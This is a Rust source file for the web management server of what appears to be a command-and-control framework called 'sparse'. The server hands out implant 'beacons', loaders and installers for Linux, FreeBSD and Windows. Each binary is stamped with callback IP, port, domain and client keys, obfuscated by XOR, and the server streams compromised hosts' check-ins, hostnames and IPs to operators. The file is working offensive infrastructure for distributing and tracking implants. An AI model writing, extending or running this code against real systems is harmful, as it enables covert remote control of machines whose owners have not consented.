use std::{net::SocketAddrV4, path::PathBuf, process::ExitCode};

use axum::{
    extract::{ws, FromRef, Path, Query, State},
    response::IntoResponse,
    routing::{get, post},
    Router,
};
use axum_extra::extract::cookie::CookieJar;
use leptos::prelude::*;
use leptos_axum::{generate_route_list, LeptosRoutes};
use serde::Deserialize;
use sqlx::sqlite::SqlitePool;
use tokio::signal;

use sparse_server::app::*;

#[cfg(not(debug_assertions))]
pub(crate) mod beacon_binaries {
    pub const LINUX_INSTALLER: &'static [u8] = include_bytes!(std::env!("SPARSE_INSTALLER_LINUX"));
    pub const FREEBSD_INSTALLER: &'static [u8] =
        include_bytes!(std::env!("SPARSE_INSTALLER_FREEBSD"));
    pub const WINDOWS_INSTALLER: &'static [u8] =
        include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS"));

    pub const LINUX_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX"));
    pub const LINUX_BEACON_LOADER: &'static [u8] =
        include_bytes!(std::env!("SPARSE_BEACON_LINUX_LOADER"));
    pub const FREEBSD_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_FREEBSD"));
    pub const FREEBSD_BEACON_LOADER: &'static [u8] =
        include_bytes!(std::env!("SPARSE_BEACON_FREEBSD_LOADER"));
    pub const WINDOWS_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_WINDOWS"));
    pub const WINDOWS_BEACON_SVC: &'static [u8] =
        include_bytes!(std::env!("SPARSE_BEACON_WINDOWS_SVC"));
}

#[cfg(debug_assertions)]
pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
    let path = match btype {
        "linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-installer",
        "freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-installer",
        "windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-installer.exe",
        other => {
            return Err(crate::error::Error::Generic(format!(
                "unknown beacon type: {other}"
            )))
        }
    };

    Ok(tokio::fs::read(path).await?)
}
#[cfg(not(debug_assertions))]
pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
    match btype {
        "linux" => Ok(beacon_binaries::LINUX_INSTALLER.to_owned()),
        "windows" => Ok(beacon_binaries::WINDOWS_INSTALLER.to_owned()),
        "freebsd" => Ok(beacon_binaries::FREEBSD_INSTALLER.to_owned()),
        other => Err(crate::error::Error::Generic(format!(
            "unknown beacon type: {other}"
        ))),
    }
}

#[cfg(debug_assertions)]
pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
    let path = match btype {
        "linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-beacon",
        "linux-loader" => "unix-loader/zig-out/bin/unix-loader",
        "freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-beacon",
        "freebsd-loader" => "unix-loader/zig-out/bin/unix-loader",
        "windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-beacon.exe",
        "windows-svc" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-beacon.exe",
        other => {
            return Err(crate::error::Error::Generic(format!(
                "unknown beacon type: {other}"
            )))
        }
    };

    Ok(tokio::fs::read(path).await?)
}
#[cfg(not(debug_assertions))]
pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
    match btype {
        "linux" => Ok(beacon_binaries::LINUX_BEACON.to_owned()),
        "linux-loader" => Ok(beacon_binaries::LINUX_BEACON_LOADER.to_owned()),
        "windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
        "windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
        "windows-svc" => Ok(beacon_binaries::WINDOWS_BEACON_SVC.to_owned()),
        "freebsd" => Ok(beacon_binaries::FREEBSD_BEACON.to_owned()),
        "freebsd-loader" => Ok(beacon_binaries::FREEBSD_BEACON_LOADER.to_owned()),
        other => Err(crate::error::Error::Generic(format!(
            "unknown beacon type: {other}"
        ))),
    }
}

#[derive(FromRef, Clone)]
pub struct AppState {
    db: SqlitePool,
    leptos_options: leptos::config::LeptosOptions,
    beacon_listeners: sparse_handler::BeaconListenerMap,
    beacon_event_broadcast: tokio::sync::broadcast::Sender<sparse_handler::BeaconEvent>,
}

async fn get_parameters_bytes(
    template_id: i64,
    db: SqlitePool,
) -> Result<(Vec<u8>, String), crate::error::Error> {
    use rand::{rngs::OsRng, TryRngCore};
    use sparse_actions::payload_types::{Parameters_t, XOR_KEY};

    let mut parameters_buffer = vec![0u8; std::mem::size_of::<Parameters_t>()];
    let _ = OsRng.try_fill_bytes(&mut parameters_buffer);

    let parameters: &mut Parameters_t =
        unsafe { std::mem::transmute(parameters_buffer.as_mut_ptr()) };

    let template = sqlx::query!(
        r"SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,
            source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key,
            source_interface
        FROM beacon_template JOIN beacon_listener
        WHERE template_id = ?",
        template_id
    )
    .fetch_one(&db)
    .await?;

    let dest_ip = template.public_ip.parse::<std::net::Ipv4Addr>()?;
    let src_ip = template.source_ip.parse::<std::net::Ipv4Addr>()?;

    let dest_octets = dest_ip.octets();
    parameters.destination_ip.a = dest_octets[0];
    parameters.destination_ip.b = dest_octets[1];
    parameters.destination_ip.c = dest_octets[2];
    parameters.destination_ip.d = dest_octets[3];

    let src_mac: [u8; 6] = template
        .source_mac
        .unwrap_or("00:00:00:00:00:00".to_string())
        .split(":")
        .map(|by| u8::from_str_radix(by, 16))
        .collect::<Result<Vec<u8>, _>>()
        .map_err(|_| crate::error::Error::Generic("Could not parse source MAC address".to_string()))
        .and_then(|bytes| {
            bytes.try_into().map_err(|_| {
                crate::error::Error::Generic("Could not parse source MAC address".to_string())
            })
        })?;

    let src_octets = src_ip.octets();
    match (
        template.source_mode.as_deref(),
        template.source_netmask,
        template.source_gateway,
    ) {
        (Some("custom"), Some(nm), Some(ip)) => unsafe {
            let gateway = ip.parse::<std::net::Ipv4Addr>()?;
            let gw_octets = gateway.octets();

            parameters.source_ip.custom_networking.mode = 0;
            parameters.source_ip.custom_networking.netmask = nm as u16;
            parameters
                .source_ip
                .custom_networking
                .source_mac
                .copy_from_slice(&src_mac[..]);
            parameters.source_ip.custom_networking.source_ip.a = src_octets[0];
            parameters.source_ip.custom_networking.source_ip.b = src_octets[1];
            parameters.source_ip.custom_networking.source_ip.c = src_octets[2];
            parameters.source_ip.custom_networking.source_ip.d = src_octets[3];
            parameters.source_ip.custom_networking.gateway.a = gw_octets[0];
            parameters.source_ip.custom_networking.gateway.b = gw_octets[1];
            parameters.source_ip.custom_networking.gateway.c = gw_octets[2];
            parameters.source_ip.custom_networking.gateway.d = gw_octets[3];

            if let Some(intf) = &template.source_interface {
                parameters.source_ip.custom_networking.interface[..intf.len()]
                    .copy_from_slice(&intf[..]);
                parameters.source_ip.custom_networking.interface_len = intf.len() as u8;
            } else {
                parameters.source_ip.custom_networking.interface_len = 0;
            }
        },
        (Some("host"), _, _) => unsafe {
            parameters.source_ip.use_host_networking.mode = 1;
            parameters
                .source_ip
                .use_host_networking
                .source_mac
                .copy_from_slice(&src_mac[..]);
            parameters.source_ip.use_host_networking.source_ip.a = src_octets[0];
            parameters.source_ip.use_host_networking.source_ip.b = src_octets[1];
            parameters.source_ip.use_host_networking.source_ip.c = src_octets[2];
            parameters.source_ip.use_host_networking.source_ip.d = src_octets[3];
        },
        _ => {
            return Err(crate::error::Error::Generic(
                "Could not parse host networking configuration".to_string(),
            ));
        }
    }

    parameters.destination_port = template.port as u16;
    parameters.template_id = template_id as u16;

    let pubkey_cert = template.certificate;
    parameters.pubkey_cert[..pubkey_cert.len()].copy_from_slice(&pubkey_cert[..]);
    parameters.pubkey_cert_size = pubkey_cert.len() as u16;

    let client_key = template.client_key;
    parameters.client_key[..client_key.len()].copy_from_slice(&client_key[..]);
    parameters.client_key_length = client_key.len() as u16;

    let client_cert = template.client_cert;
    parameters.client_cert[..client_cert.len()].copy_from_slice(&client_cert[..]);
    parameters.client_cert_length = client_cert.len() as u16;

    let domain_name = template.domain_name.as_bytes();
    parameters.domain_name[..domain_name.len()].copy_from_slice(&domain_name[..]);
    parameters.domain_name_length = domain_name.len() as u16;

    let parameters_bytes = parameters_buffer
        .iter()
        .map(|b| b ^ (XOR_KEY as u8))
        .collect::<Vec<_>>();

    Ok((parameters_bytes, template.operating_system.clone()))
}

#[derive(Debug, Deserialize)]
pub struct BeaconDownloadParams {
    use_svc: Option<bool>,
    use_loader: Option<bool>,
}

pub async fn download_beacon(
    Path(template_id): Path<i64>,
    State(db): State<AppState>,
    Query(beacon_params): Query<BeaconDownloadParams>,
) -> Result<impl IntoResponse, crate::error::Error> {
    use rand::{rngs::OsRng, TryRngCore};
    use sparse_actions::payload_types::{Parameters_t, XOR_KEY};

    let (mut parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;

    let binary = if beacon_params.use_svc.unwrap_or_default() {
        tracing::debug!("Downloading windows service");
        "windows-svc".to_string()
    } else if beacon_params.use_loader.unwrap_or_default() {
        tracing::debug!("Downloading {operating_system} loader");
        format!("{operating_system}-loader")
    } else {
        tracing::debug!("Downloading basic beacon for {operating_system}");
        operating_system.clone()
    };

    let installer_bytes = get_beacon(&binary).await?;

    let parameters: &mut Parameters_t =
        unsafe { std::mem::transmute(parameters_bytes.as_mut_ptr()) };
    let mut identifier = [0u8; 32];
    OsRng
        .try_fill_bytes(&mut identifier)
        .expect("Could not generate beacon identifier");

    let hex_ident = hex::encode(&identifier)
        .as_bytes()
        .iter()
        .map(|b| b ^ (XOR_KEY as u8))
        .collect::<Vec<_>>();
    parameters
        .beacon_identifier
        .copy_from_slice(&hex_ident);

    use axum::http::header;

    Ok((
        [
            (header::CONTENT_TYPE, "application/octet-stream".to_string()),
            (
                header::CONTENT_DISPOSITION,
                format!(
                    r#"attachement; filename="sparse-beacon{}""#,
                    if operating_system.starts_with("windows") {
                        ".exe"
                    } else {
                        ""
                    }
                ),
            ),
        ],
        [&installer_bytes[..], &parameters_bytes[..]].concat(),
    ))
}

pub async fn download_beacon_installer(
    Path(template_id): Path<i64>,
    State(db): State<AppState>,
) -> Result<impl IntoResponse, crate::error::Error> {
    let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
    let installer_bytes = get_installer(&operating_system).await?;

    use axum::http::header;

    Ok((
        [
            (header::CONTENT_TYPE, "application/octet-stream".to_string()),
            (
                header::CONTENT_DISPOSITION,
                format!(
                    r#"attachement; filename="sparse-installer{}""#,
                    if operating_system.starts_with("windows") {
                        ".exe"
                    } else {
                        ""
                    }
                ),
            ),
        ],
        [&installer_bytes[..], &parameters_bytes[..]].concat(),
    ))
}

pub async fn subscribe_to_listener_events(
    State(state): State<AppState>,
    cookie_jar: CookieJar,
    ws: ws::WebSocketUpgrade
) -> axum::response::Response {
    let user = match crate::db::user::get_auth_session_inner(
        state.db.clone(),
        cookie_jar
    ).await {
        Ok(u) => u,
        Err(e) => {
            tracing::warn!("Could not load user session: {e:?}");
            return axum::http::StatusCode::INTERNAL_SERVER_ERROR.into_response();
        }
    };

    if user.is_none() {
        return axum::http::StatusCode::UNAUTHORIZED.into_response();
    }

    ws
        .on_upgrade(move |socket: ws::WebSocket| async move {
            if let Err(e) = handle_listener_events(socket, state).await {
                tracing::warn!("Encountered error when handling event subscriber: {e}");
            };
        })
        .into_response()
}

async fn handle_listener_events(
    mut socket: ws::WebSocket,
    state: AppState,
) -> Result<(), crate::error::Error> {
    use sqlx::{sqlite::SqliteRow, Row};

    use crate::beacons::sidebar::{CurrentBeaconInstance, SidebarEvents};

    {
        let beacons = sqlx::query!(
            "SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance"
        )
            .fetch_all(&state.db)
            .await?;

        struct CheckinResult {
            beacon_id: String,
            checkin_date: chrono::DateTime<chrono::Utc>
        }

        impl sqlx::FromRow<'_, SqliteRow> for CheckinResult {
            fn from_row(row: &SqliteRow) -> sqlx::Result<Self> {
                Ok(CheckinResult {
                    beacon_id: row.get("beacon_id"),
                    checkin_date: row.get("checkin_date")
                })
            }
        }

        let last_checkin: Vec<CheckinResult> = sqlx::query_as(
            "SELECT beacon_id, MAX(checkin_date) as checkin_date FROM beacon_checkin
            GROUP BY beacon_id"
        )
            .fetch_all(&state.db)
            .await?;

        let category_ids = sqlx::query!(
            "SELECT beacon_id, category_id FROM beacon_category_assignment"
        )
            .fetch_all(&state.db)
            .await?;

        let beacons = SidebarEvents::BeaconList(
            beacons
                .into_iter()
                .map(|b| CurrentBeaconInstance {
                    beacon_id: b.beacon_id.clone(),
                    template_id: b.template_id,
                    ip: b.peer_ip,
                    nickname: b.nickname,
                    cwd: b.cwd,
                    operating_system: b.operating_system,
                    userent: b.beacon_userent,
                    hostname: b.hostname,
                    config_id: b.config_id,
                    last_checkin: last_checkin
                        .iter()
                        .find(|ch| ch.beacon_id == b.beacon_id)
                        .clone()
                        .map(|ch| ch.checkin_date)
                        .unwrap_or_else(|| chrono::Utc::now()),
                    category_ids: category_ids
                        .iter()
                        .filter(|cat| cat.beacon_id == b.beacon_id)
                        .map(|cat| cat.category_id)
                        .collect()
                })
                .collect::<Vec<_>>()
        );

        let json = serde_json::to_string(&beacons)?;

        socket.send(ws::Message::Text(json.into())).await?;
    }

    let mut event_receiver = state.beacon_event_broadcast.subscribe();

    loop {
        use sparse_handler::BeaconEvent;

        let event = event_receiver.recv().await;

        match event {
            Ok(BeaconEvent::Checkin(bid)) => {
                socket.send(ws::Message::Text(serde_json::to_string(&SidebarEvents::Checkin(bid.clone()))?)).await?;
            }
            Ok(BeaconEvent::NewBeacon(bid)) => {
                let beacon = sqlx::query!(
                    "SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance
                    WHERE beacon_id = ?",
                    bid
                )
                    .fetch_one(&state.db)
                    .await?;

                let category_ids = sqlx::query!(
                    "SELECT category_id FROM beacon_category_assignment
                    WHERE beacon_id = ?",
                    bid
                )
                    .fetch_all(&state.db)
                    .await?;

                let beacon = CurrentBeaconInstance {
                    beacon_id: bid,
                    template_id: beacon.template_id,
                    ip: beacon.peer_ip,
                    nickname: beacon.nickname,
                    cwd: beacon.cwd,
                    operating_system: beacon.operating_system,
                    userent: beacon.beacon_userent,
                    hostname: beacon.hostname,
                    config_id: beacon.config_id,
                    last_checkin: chrono::Utc::now(),
                    category_ids: category_ids.iter().map(|r| r.category_id).collect()
                };

                socket.send(ws::Message::Text(serde_json::to_string(&beacon)?)).await?;
            }
            Err(e) => {
                tracing::warn!("Unable to handle general event: {e:?}");
            }
        }
    }
}

pub async fn serve_web(
    management_address: SocketAddrV4,
    file_store: PathBuf,
    db: SqlitePool,
) -> anyhow::Result<ExitCode> {
    let conf = get_configuration(None).unwrap();
    let leptos_options = conf.leptos_options;
    let routes = generate_route_list(App);
    let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(128);
    let beacon_listeners = sparse_handler::BeaconListenerMap::default();

    tokio::fs::create_dir_all(&file_store).await?;

    let compression_layer = tower_http::compression::CompressionLayer::new()
        .gzip(true)
        .deflate(true)
        .br(true)
        .zstd(true);

    sparse_handler::start_all_listeners(
        beacon_listeners.clone(),
        db.clone(),
        beacon_event_broadcast.clone()
    ).await?;

    let state = AppState {
        leptos_options: leptos_options.clone(),
        db: db.clone(),
        beacon_listeners: beacon_listeners.clone(),
        beacon_event_broadcast: beacon_event_broadcast.clone()
    };

    let app = Router::new()
        .route(
            "/binaries/installer/:template_id",
            get(download_beacon_installer),
        )
        .route("/binaries/beacon/:template_id", get(download_beacon))
        .route(
            "/api/subscribe/listener",
            axum::routing::any(subscribe_to_listener_events)
        )
        .route("/api/*fn_name", post(leptos_axum::handle_server_fns))
        .leptos_routes_with_context(
            &state,
            routes,
            move || {
                provide_context(beacon_listeners.clone());
                provide_context(db.clone());
                provide_context(beacon_event_broadcast.clone());
                provide_context(file_store.clone());
            },
            {
                let leptos_options = leptos_options.clone();
                move || shell(leptos_options.clone())
            },
        )
        .fallback(leptos_axum::file_and_error_handler::<
            leptos::config::LeptosOptions,
            _,
        >(shell))
        .with_state(state)
        .layer(
            tower::ServiceBuilder::new()
                .layer(tower_http::trace::TraceLayer::new_for_http())
                .layer(compression_layer),
        );

    // run our app with hyper
    // `axum::Server` is a re-export of `hyper::Server`
    let management_listener = tokio::net::TcpListener::bind(&management_address).await?;
    tracing::info!(
        "management interface listening on http://{}",
        &management_address
    );

    axum::serve(management_listener, app.into_make_service())
        .with_graceful_shutdown(shutdown_signal())
        .await?;

    Ok(ExitCode::SUCCESS)
}

async fn shutdown_signal() {
    let ctrl_c = async {
        signal::ctrl_c()
            .await
            .expect("failed to install Ctrl+C handler");
    };

    #[cfg(unix)]
    let terminate = async {
        signal::unix::signal(signal::unix::SignalKind::terminate())
            .expect("failed to install signal handler")
            .recv()
            .await;
    };

    #[cfg(not(unix))]
    let terminate = std::future::pending::<()>();

    tokio::select! {
        _ = ctrl_c => {
            tracing::info!("Received Ctrl-C");
        },
        _ = terminate => {
            tracing::info!("Received terminate command");
        },
    }
}